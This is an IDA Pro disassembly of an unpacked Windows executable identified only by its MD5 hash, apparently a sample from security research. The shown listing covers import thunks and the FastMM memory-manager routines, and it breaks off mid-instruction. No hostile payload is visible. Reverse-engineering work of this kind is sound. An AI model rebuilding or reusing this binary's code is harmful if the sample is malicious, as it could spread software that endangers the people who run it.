; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 98776A37A77160CC843A6C4310599464 ; File Name : u:\work\98776a37a77160cc843a6c4310599464_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 40000000 ; Section 1. (virtual address 00001000) ; Virtual size : 000173EC ( 95212.) ; Section size in file : 000173EC ( 95212.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 40001000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_40001000 dd offset dword_40001004 ; DATA XREF: .text:40006E36o ; .text:400077E5o ... dword_40001004 dd 7473060Ah, 676E6972hoff_4000100C dd offset dword_40001010 ; DATA XREF: .text:40006AD6o ; .text:40006ADEo ... dword_40001010 dd 69570A0Bh, 74536564h, 676E6972hoff_4000101C dd offset dword_40001068 ; DATA XREF: .text:40001108o ; .text:40006E08o ... dd 7 dup(0) dd offset dword_40001068 dd 4, 0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40001068 dd 624F5407h, 7463656Ah ; .text:4000103Co ... off_40001070 dd offset dword_40001074 ; DATA XREF: .text:4000D6D0o ; .text:40013185o dword_40001074 dd 4F540707h, 63656A62h db 74h dd offset dword_40001068 align 4 dword_40001084 dd 6000000h, 74737953h, 6D65h, 244483CCh, 0D9E9F804h, 83000051h ; DATA XREF: .text:off_400010B1o dd 0F8042444h, 51F7E9h, 24448300h, 1E9F804h, 0CC000052h db 0CCh off_400010B1 dd offset dword_40001084+0Dh ; DATA XREF: .text:400010D1o dd offset dword_40001084+17h dd offset dword_40001084+21h byte_400010BD db 1, 2 dup(0) ; DATA XREF: .text:400010E4o dd 2 dup(0) dd 0C000h, 0 db 46h dd offset off_400010B1 db 8, 2 dup(0) align 10h off_400010E0 dd offset dword_4000112C ; DATA XREF: .text:40007930o dd offset byte_400010BD dd 6 dup(0) dd offset dword_4000112C dd 0Ch dd offset off_4000101C dd offset sub_40003EF4 dd offset sub_40006248 dd offset sub_40006254 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40006264 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000112C dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h ; DATA XREF: .text:off_400010E0o ; .text:40001100o ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001140 proc near ; CODE XREF: sub_4000314C+4p ; .text:40003308p jmp ds:dword_400244AC sub_40001140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001148 proc near ; CODE XREF: .text:40003204p ; sub_40003644+9Bp jmp ds:dword_400244A8 sub_40001148 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001150 proc near ; CODE XREF: .text:400032EDp jmp ds:dword_400244A4 sub_40001150 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001158 proc near ; CODE XREF: .text:40003228p jmp ds:dword_400244A0 sub_40001158 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001160 proc near ; CODE XREF: .text:loc_400032D7p ; sub_40003644:loc_400036FFp ... jmp ds:dword_4002449C sub_40001160 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001168 proc near ; CODE XREF: sub_40003FE8+14p ; sub_40004004+16p ... jmp ds:dword_40024498 sub_40001168 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001170 proc near ; CODE XREF: sub_400030D0+1Ep ; .text:40003265p jmp ds:dword_40024494 sub_40001170 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001178 proc near ; CODE XREF: sub_400040D8+D2p ; .text:40004470p ; DATA XREF: ... jmp ds:dword_40024490 sub_40001178 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001180 proc near ; CODE XREF: .text:4000329Cp jmp ds:dword_4002448C sub_40001180 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001188 proc near ; CODE XREF: .text:40003244p ; .text:4000328Ep jmp ds:dword_40024488 sub_40001188 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001190 proc near ; CODE XREF: sub_400040D8+6Ap ; sub_400040D8+A7p ... jmp ds:dword_40024484 sub_40001190 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001198 proc near ; CODE XREF: sub_40003110+1Fp ; sub_40004704+3Fp ... jmp ds:dword_40024480 sub_40001198 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011A0 proc near ; CODE XREF: sub_40002EFC+Cp ; sub_40002EFC+3Ap ... jmp ds:dword_4002440C sub_400011A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011A8 proc near ; CODE XREF: sub_40004790+C0p jmp ds:dword_4002447C sub_400011A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011B0 proc near ; CODE XREF: sub_40002540+39Ep ; sub_40004704+78p jmp ds:dword_40024408 sub_400011B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011B8 proc near ; CODE XREF: sub_40005C60+123p jmp ds:dword_40024478 sub_400011B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011C0 proc near ; CODE XREF: sub_40005C60+111p jmp ds:dword_40024474 sub_400011C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011C8 proc near ; CODE XREF: sub_40004790+88p jmp ds:dword_40024470 sub_400011C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011D0 proc near ; CODE XREF: sub_40002FF8:loc_4000302Ep ; .itext:4001906Cp jmp ds:dword_4002446C sub_400011D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011D8 proc near ; CODE XREF: sub_40002D8Cp ; sub_400030D0+27p ... jmp ds:dword_40024468 sub_400011D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011E0 proc near ; CODE XREF: sub_40005E24+12Fp jmp ds:dword_40024464 sub_400011E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011E8 proc near ; CODE XREF: sub_40002FF8+24p ; sub_40005BC0+1Ep ... jmp ds:dword_40024460 sub_400011E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011F0 proc near ; CODE XREF: sub_40005C60+1Dp jmp ds:dword_4002445C sub_400011F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400011F8 proc near ; CODE XREF: sub_40005C60+34p jmp ds:dword_40024458 sub_400011F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001200 proc near ; CODE XREF: sub_400012A0+Ap jmp ds:dword_40024454 sub_40001200 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001208 proc near ; CODE XREF: sub_40005E24+129p jmp ds:dword_40024450 sub_40001208 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001210 proc near ; CODE XREF: sub_40005E24+1B1p ; sub_40005E24+1E9p ... jmp ds:dword_4002444C sub_40001210 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001218 proc near ; CODE XREF: sub_400062F0+32p jmp ds:dword_40024404 sub_40001218 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001220 proc near ; CODE XREF: sub_40005C60+64p ; sub_40005C60+C8p ... jmp ds:dword_40024448 sub_40001220 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001228 proc near ; CODE XREF: sub_40005C60+12Fp ; sub_40005C60+16Fp ... jmp ds:dword_40024444 sub_40001228 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001230 proc near ; CODE XREF: sub_400049C4+12p jmp ds:dword_40024440 sub_40001230 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001238 proc near ; CODE XREF: sub_40003B94+6Bp ; sub_40005E24+FFp jmp ds:dword_400243F4 sub_40001238 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001240 proc near ; CODE XREF: sub_40003B94+22p ; sub_40005E24+3Ap ... jmp ds:dword_400243F0 sub_40001240 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001248 proc near ; CODE XREF: sub_40003B94+55p ; sub_40005E24+BFp ... jmp ds:dword_400243EC sub_40001248 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001250 proc near ; CODE XREF: sub_400049A4+16p jmp ds:dword_4002443C sub_40001250 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001258 proc near ; CODE XREF: sub_40002208+39p ; sub_40005B98+Bp jmp ds:dword_40024438 sub_40001258 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001260 proc near ; CODE XREF: sub_40004FE0+7p ; sub_400050F8+Bp jmp ds:dword_400243E4 sub_40001260 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001268 proc near ; CODE XREF: sub_40005044+1Ap jmp ds:dword_400243E0 sub_40001268 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001270 proc near ; CODE XREF: sub_40004FF8+7p ; sub_40005008+Ep ... jmp ds:dword_400243DC sub_40001270 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001278 proc near ; CODE XREF: .text:400062A6p jmp ds:dword_40024434 sub_40001278 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001280 proc near ; CODE XREF: sub_40006248+4p ; .text:400062BCp jmp ds:dword_40024430 sub_40001280 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001288 proc near ; CODE XREF: .itext:4001908Ap jmp ds:dword_4002442C sub_40001288 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001290 proc near ; CODE XREF: sub_40003058+4p jmp ds:dword_40024428 sub_40001290 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40001298 proc near ; CODE XREF: sub_40003058:loc_40003070p jmp ds:dword_40024424 sub_40001298 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400012A0 proc near ; CODE XREF: .itext:40019076p var_1C = word ptr -1Ch var_18 = word ptr -18h push ebx add esp, 0FFFFFFBCh mov ebx, 0Ah push esp call sub_40001200 ; GetStartupInfoA test byte ptr [esp+48h+var_1C], 1 jz short loc_400012BB movzx ebx, [esp+48h+var_18] loc_400012BB: ; CODE XREF: sub_400012A0+14j mov eax, ebx add esp, 44h pop ebx retn sub_400012A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400012C4 proc near ; CODE XREF: sub_400015DC+16p ; sub_40001694+20p ... jmp ds:dword_40024420 sub_400012C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400012CC proc near ; CODE XREF: sub_400016F8+1Cp ; sub_40001A9C+190p ... jmp ds:dword_4002441C sub_400012CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400012D4 proc near ; CODE XREF: sub_40001654+Dp ; sub_40001654+26p ... jmp ds:dword_40024418 sub_400012D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400012DC proc near ; CODE XREF: sub_40002BB4+Fp jmp ds:dword_40024400 sub_400012DC endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 57h aFastmmBorlandE db 'FastMM Borland Edition © 2004, 2005 Pierre le Riche / Professiona' ; DATA XREF: .data:off_4001A040o db 'l Software Development',0 ; =============== S U B R O U T I N E ======================================= sub_40001344 proc near ; CODE XREF: sub_40001654+1Bp ; sub_40001654+34p ... lock cmpxchg [ecx], dl retn sub_40001344 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000134C proc near ; DATA XREF: .data:off_4001A060o mov ecx, [eax] mov [edx], ecx mov ecx, [eax+4] mov eax, [eax+8] mov [edx+4], ecx mov [edx+8], eax retn sub_4000134C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40001360 proc near ; DATA XREF: .data:4001A080o mov ecx, [eax] mov [edx], ecx mov ecx, [eax+4] mov [edx+4], ecx mov ecx, [eax+8] mov [edx+8], ecx mov ecx, [eax+0Ch] mov eax, [eax+10h] mov [edx+0Ch], ecx mov [edx+10h], eax retn sub_40001360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40001380 proc near ; DATA XREF: .data:4001A0A0o mov ecx, [eax] mov [edx], ecx mov ecx, [eax+4] mov [edx+4], ecx mov ecx, [eax+8] mov [edx+8], ecx mov ecx, [eax+0Ch] mov [edx+0Ch], ecx mov ecx, [eax+10h] mov [edx+10h], ecx mov ecx, [eax+14h] mov eax, [eax+18h] mov [edx+14h], ecx mov [edx+18h], eax retn sub_40001380 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400013AC proc near ; DATA XREF: .data:4001A0C0o fild qword ptr [eax] fild qword ptr [eax+8] fild qword ptr [eax+10h] fild qword ptr [eax+18h] mov ecx, [eax+20h] mov [edx+20h], ecx fistp qword ptr [edx+18h] fistp qword ptr [edx+10h] fistp qword ptr [edx+8] fistp qword ptr [edx] retn sub_400013AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400013CC proc near ; DATA XREF: .data:4001A0E0o fild qword ptr [eax] fild qword ptr [eax+8] fild qword ptr [eax+10h] fild qword ptr [eax+18h] fild qword ptr [eax+20h] mov ecx, [eax+28h] mov [edx+28h], ecx fistp qword ptr [edx+20h] fistp qword ptr [edx+18h] fistp qword ptr [edx+10h] fistp qword ptr [edx+8] fistp qword ptr [edx] retn sub_400013CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400013F0 proc near ; DATA XREF: .data:4001A100o fild qword ptr [eax] fild qword ptr [eax+8] fild qword ptr [eax+10h] fild qword ptr [eax+18h] fild qword ptr [eax+20h] fild qword ptr [eax+28h] mov ecx, [eax+30h] mov [edx+30h], ecx fistp qword ptr [edx+28h] fistp qword ptr [edx+20h] fistp qword ptr [edx+18h] fistp qword ptr [edx+10h] fistp qword ptr [edx+8] fistp qword ptr [edx] retn sub_400013F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000141C proc near ; DATA XREF: .data:4001A120o fild qword ptr [eax] fild qword ptr [eax+8] fild qword ptr [eax+10h] fild qword ptr [eax+18h] fild qword ptr [eax+20h] fild qword ptr [eax+28h] fild qword ptr [eax+30h] mov ecx, [eax+38h] mov [edx+38h], ecx fistp qword ptr [edx+30h] fistp qword ptr [edx+28h] fistp qword ptr [edx+20h] fistp qword ptr [edx+18h] fistp qword ptr [edx+10h] fistp qword ptr [edx+8] fistp qword ptr [edx] retn sub_4000141C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000144C proc near ; DATA XREF: .data:4001A140o fild qword ptr [eax] fild qword ptr [eax+8] fild qword ptr [eax+10h] fild qword ptr [eax+18h] fild qword ptr [eax+20h] fild qword ptr [eax+28h] fild qword ptr [eax+30h] fild qword ptr [eax+38h] mov ecx, [eax+40h] mov [edx+40h], ecx fistp qword ptr [edx+38h] fistp qword ptr [edx+30h] fistp qword ptr [edx+28h] fistp qword ptr [edx+20h] fistp qword ptr [edx+18h] fistp qword ptr [edx+10h] fistp qword ptr [edx+8] fistp qword ptr [edx] retn sub_4000144C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40001484 proc near ; CODE XREF: sub_40001C7C+2D8p ; sub_40001C7C+32Fp ; DATA XREF: ... sub ecx, 0Ch add eax, ecx add edx, ecx neg ecx jns short loc_400014A2 loc_4000148F: ; CODE XREF: sub_40001484+1Cj fild qword ptr [ecx+eax] fild qword ptr [ecx+eax+8] fistp qword ptr [ecx+edx+8] fistp qword ptr [ecx+edx] add ecx, 10h js short loc_4000148F loc_400014A2: ; CODE XREF: sub_40001484+9j fild qword ptr [ecx+eax] fistp qword ptr [ecx+edx] mov eax, [ecx+eax+8] mov [ecx+edx+8], eax retn sub_40001484 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400014B4 proc near ; CODE XREF: sub_40001C7C+41p ; sub_40001C7C+1A5p ... sub ecx, 4 add eax, ecx add edx, ecx neg ecx loc_400014BD: ; CODE XREF: sub_400014B4+12j fild qword ptr [ecx+eax] fistp qword ptr [ecx+edx] add ecx, 8 js short loc_400014BD mov eax, [ecx+eax] mov [ecx+edx], eax retn sub_400014B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400014D0 proc near ; CODE XREF: sub_40001570+4Cp ; sub_40001A9C+148p ... mov ecx, [eax+4] mov edx, [eax] cmp ecx, edx mov [ecx], edx mov [edx+4], ecx jz short loc_400014E0 locret_400014DE: ; CODE XREF: sub_400014D0+2Cj retn ; --------------------------------------------------------------------------- align 10h loc_400014E0: ; CODE XREF: sub_400014D0+Cj sub ecx, offset off_4001C7A8 mov edx, ecx shr ecx, 3 movzx edx, dh mov eax, 0FFFFFFFEh rol eax, cl and ds:dword_4001C728[edx*4], eax jnz short locret_400014DE mov eax, 0FFFFFFFEh mov ecx, edx rol eax, cl and ds:dword_4001C724, eax retn sub_400014D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40001510 proc near ; CODE XREF: sub_40001570+33j ; sub_40001734+17Dp ... sub edx, 0B30h shr edx, 8 sub edx, 3FFh sbb ecx, ecx and edx, ecx add edx, 3FFh lea ecx, off_4001C7A8[edx*8] mov edx, [ecx+4] cmp edx, ecx mov [eax], ecx mov [eax+4], edx mov [edx], eax mov [ecx+4], eax jz short loc_40001544 retn ; --------------------------------------------------------------------------- align 4 loc_40001544: ; CODE XREF: sub_40001510+2Fj sub ecx, offset off_4001C7A8 mov edx, ecx shr ecx, 3 movzx edx, dh mov eax, 1 shl eax, cl or ds:dword_4001C728[edx*4], eax mov eax, 1 mov ecx, edx shl eax, cl or ds:dword_4001C724, eax retn sub_40001510 endp ; =============== S U B R O U T I N E ======================================= sub_40001570 proc near ; CODE XREF: sub_400015DC+3p ; sub_40001A9C+1A6p cmp ds:dword_4001C720, 0 jnz short loc_4000157C retn ; --------------------------------------------------------------------------- align 4 loc_4000157C: ; CODE XREF: sub_40001570+7j mov eax, ds:dword_4001C71C test byte ptr [eax-4], 1 jnz short loc_400015AC or dword ptr [eax-4], 8 mov edx, ds:dword_4001C720 sub eax, edx loc_40001593: ; CODE XREF: sub_40001570+68j lea ecx, [edx+3] mov [eax-4], ecx mov [edx+eax-8], edx cmp edx, 0B30h jnb sub_40001510 retn ; --------------------------------------------------------------------------- align 4 loc_400015AC: ; CODE XREF: sub_40001570+15j mov edx, 0FFFFFFF0h and edx, [eax-4] cmp edx, 0B30h jb short loc_400015CE call sub_400014D0 mov eax, ds:dword_4001C71C mov edx, 0FFFFFFF0h and edx, [eax-4] loc_400015CE: ; CODE XREF: sub_40001570+4Aj mov ecx, ds:dword_4001C720 sub eax, ecx add edx, ecx jmp short loc_40001593 sub_40001570 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400015DC proc near ; CODE XREF: sub_40001734+1BEp ; sub_40001734+2DAp push ebx mov ebx, eax call sub_40001570 push 4 push 1000h push 140000h push 0 call sub_400012C4 ; VirtualAlloc test eax, eax jz short loc_40001648 mov edx, ds:dword_4001C70C mov ecx, eax mov dword ptr [ecx], offset dword_4001C708 mov ds:dword_4001C70C, eax mov [ecx+4], edx mov [edx], eax mov edx, eax add edx, 140000h mov ecx, edx sub ecx, 4 mov dword ptr [ecx], 2 mov ecx, 13FFF0h sub ecx, ebx mov ds:dword_4001C720, ecx sub edx, ebx mov eax, edx mov ds:dword_4001C71C, eax or ebx, 2 mov edx, eax sub edx, 4 mov [edx], ebx pop ebx retn ; --------------------------------------------------------------------------- loc_40001648: ; CODE XREF: sub_400015DC+1Dj xor eax, eax mov ds:dword_4001C720, eax xor eax, eax pop ebx retn sub_400015DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40001654 proc near ; CODE XREF: sub_40001694+36p ; sub_400016F8+8p cmp ds:byte_4001C04D, 0 jz short locret_40001691 jmp short loc_4000167F ; --------------------------------------------------------------------------- loc_4000165F: ; CODE XREF: sub_40001654+3Bj push 0 call sub_400012D4 ; Sleep mov ecx, offset byte_4001E7A8 mov dl, 1 xor eax, eax call sub_40001344 test al, al jz short locret_40001691 push 0Ah call sub_400012D4 ; Sleep loc_4000167F: ; CODE XREF: sub_40001654+9j mov ecx, offset byte_4001E7A8 mov dl, 1 xor eax, eax call sub_40001344 test al, al jnz short loc_4000165F locret_40001691: ; CODE XREF: sub_40001654+7j ; sub_40001654+22j retn sub_40001654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40001694 proc near ; CODE XREF: sub_40001734+35Fj push ebx push esi push edi push ebp mov ebp, eax lea esi, [ebp+10010h] dec esi add esi, 4 and esi, 0FFFF0000h push 4 push 101000h push esi push 0 call sub_400012C4 ; VirtualAlloc mov ebx, eax test ebx, ebx jz short loc_400016EF mov edi, ebx mov [edi+8], ebp or esi, 4 mov [edi+0Ch], esi call sub_40001654 mov eax, ds:dword_4001E7B0 mov dword ptr [edi], offset dword_4001E7AC mov ds:dword_4001E7B0, ebx mov [edi+4], eax mov [eax], ebx mov ds:byte_4001E7A8, 0 add ebx, 10h loc_400016EF: ; CODE XREF: sub_40001694+29j mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_40001694 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400016F8 proc near ; CODE XREF: sub_40001A9C+1D4j push ebx push esi push edi mov ebx, eax sub ebx, 10h call sub_40001654 mov eax, ebx mov esi, [eax] mov edi, [eax+4] push 8000h push 0 push ebx call sub_400012CC ; VirtualFree test eax, eax jz short loc_40001726 mov [edi], esi mov [esi+4], edi xor eax, eax jmp short loc_40001729 ; --------------------------------------------------------------------------- loc_40001726: ; CODE XREF: sub_400016F8+23j or eax, 0FFFFFFFFh loc_40001729: ; CODE XREF: sub_400016F8+2Cj mov ds:byte_4001E7A8, 0 pop edi pop esi pop ebx retn sub_400016F8 endp ; =============== S U B R O U T I N E ======================================= sub_40001734 proc near ; CODE XREF: sub_40001C7C+30p ; sub_40001C7C+66p ... lea edx, [eax+3] shr edx, 3 cmp eax, 0A2Ch push ebx mov cl, ds:byte_4001C04D ja loc_40001978 test cl, cl movzx eax, ds:byte_4001C5C0[edx] lea ebx, byte_4001A044[eax*8] jnz short loc_400017B4 loc_4000175E: ; CODE XREF: sub_40001734+89j ; sub_40001734+97j ... mov edx, [ebx+4] mov eax, [edx+8] mov ecx, 0FFFFFFF8h cmp edx, ebx jz short loc_40001784 add dword ptr [edx+0Ch], 1 and ecx, [eax-4] mov [edx+8], ecx mov [eax-4], edx jz short loc_400017A4 mov byte ptr [ebx], 0 pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_40001784: ; CODE XREF: sub_40001734+37j mov edx, [ebx+10h] movzx ecx, word ptr [ebx+2] add ecx, eax cmp eax, [ebx+0Ch] ja short loc_40001800 add dword ptr [edx+0Ch], 1 mov [ebx+8], ecx mov byte ptr [ebx], 0 mov [eax-4], edx pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_400017A4: ; CODE XREF: sub_40001734+46j mov ecx, [edx+4] mov [ecx+14h], ebx mov [ebx+4], ecx mov byte ptr [ebx], 0 pop ebx retn ; --------------------------------------------------------------------------- align 4 loc_400017B4: ; CODE XREF: sub_40001734+28j ; sub_40001734+C7j mov eax, 100h lock cmpxchg [ebx], ah jz short loc_4000175E add ebx, 20h mov eax, 100h lock cmpxchg [ebx], ah jz short loc_4000175E add ebx, 20h mov eax, 100h lock cmpxchg [ebx], ah jz short loc_4000175E sub ebx, 40h push 0 call sub_400012D4 ; Sleep mov eax, 100h lock cmpxchg [ebx], ah jz loc_4000175E push 0Ah call sub_400012D4 ; Sleep jmp short loc_400017B4 ; --------------------------------------------------------------------------- align 10h loc_40001800: ; CODE XREF: sub_40001734+5Cj push esi push edi cmp ds:byte_4001C04D, 0 jz short loc_4000183C loc_4000180B: ; CODE XREF: sub_40001734+103j mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_4000183C push 0 call sub_400012D4 ; Sleep mov eax, 100h lock cmpxchg ds:byte_4001C718, ah jz short loc_4000183C push 0Ah call sub_400012D4 ; Sleep jmp short loc_4000180B ; --------------------------------------------------------------------------- align 4 loc_4000183C: ; CODE XREF: sub_40001734+D5j ; sub_40001734+E4j ... movsx esi, byte ptr [ebx+1] and esi, ds:dword_4001C724 jz short loc_400018B8 bsf eax, esi lea esi, ds:0[eax*8] mov ecx, ds:dword_4001C728[eax*4] bsf ecx, ecx lea ecx, [ecx+esi*4] lea edi, off_4001C7A8[ecx*8] mov esi, [edi+4] mov edx, [esi+4] mov [edi+4], edx mov [edx], edi cmp edi, edx jnz short loc_4000188C mov edx, 0FFFFFFFEh rol edx, cl and ds:dword_4001C728[eax*4], edx jnz short loc_4000188C btr ds:dword_4001C724, eax loc_4000188C: ; CODE XREF: sub_40001734+13Fj ; sub_40001734+14Fj mov edi, 0FFFFFFF0h and edi, [esi-4] cmp edi, 10A60h jb short loc_40001908 mov edx, edi movzx edi, word ptr [ebx+1Ah] sub edx, edi lea eax, [edi+esi] lea ecx, [edx+3] mov [eax-4], ecx mov [edx+eax-8], edx call sub_40001510 jmp short loc_4000190D ; --------------------------------------------------------------------------- loc_400018B8: ; CODE XREF: sub_40001734+112j movzx ecx, word ptr [ebx+18h] mov edi, ds:dword_4001C720 cmp edi, ecx jb short loc_400018EC mov esi, ds:dword_4001C71C movzx ecx, word ptr [ebx+1Ah] lea edx, [ecx+0B30h] cmp edi, edx jb short loc_400018DC mov edi, ecx loc_400018DC: ; CODE XREF: sub_40001734+1A4j sub esi, edi sub ds:dword_4001C720, edi mov ds:dword_4001C71C, esi jmp short loc_4000190D ; --------------------------------------------------------------------------- loc_400018EC: ; CODE XREF: sub_40001734+190j movzx eax, word ptr [ebx+1Ah] mov edi, eax call sub_400015DC mov esi, eax test eax, eax jnz short loc_4000190D mov ds:byte_4001C718, al mov [ebx], al pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40001908: ; CODE XREF: sub_40001734+166j and byte ptr [edi+esi-4], 0F7h loc_4000190D: ; CODE XREF: sub_40001734+182j ; sub_40001734+1B6j ... lea ecx, [edi+6] mov [esi-4], ecx xor eax, eax mov ds:byte_4001C718, al mov [esi], ebx mov [esi+8], eax mov dword ptr [esi+0Ch], 1 mov [ebx+10h], esi lea eax, [esi+20h] movzx ecx, word ptr 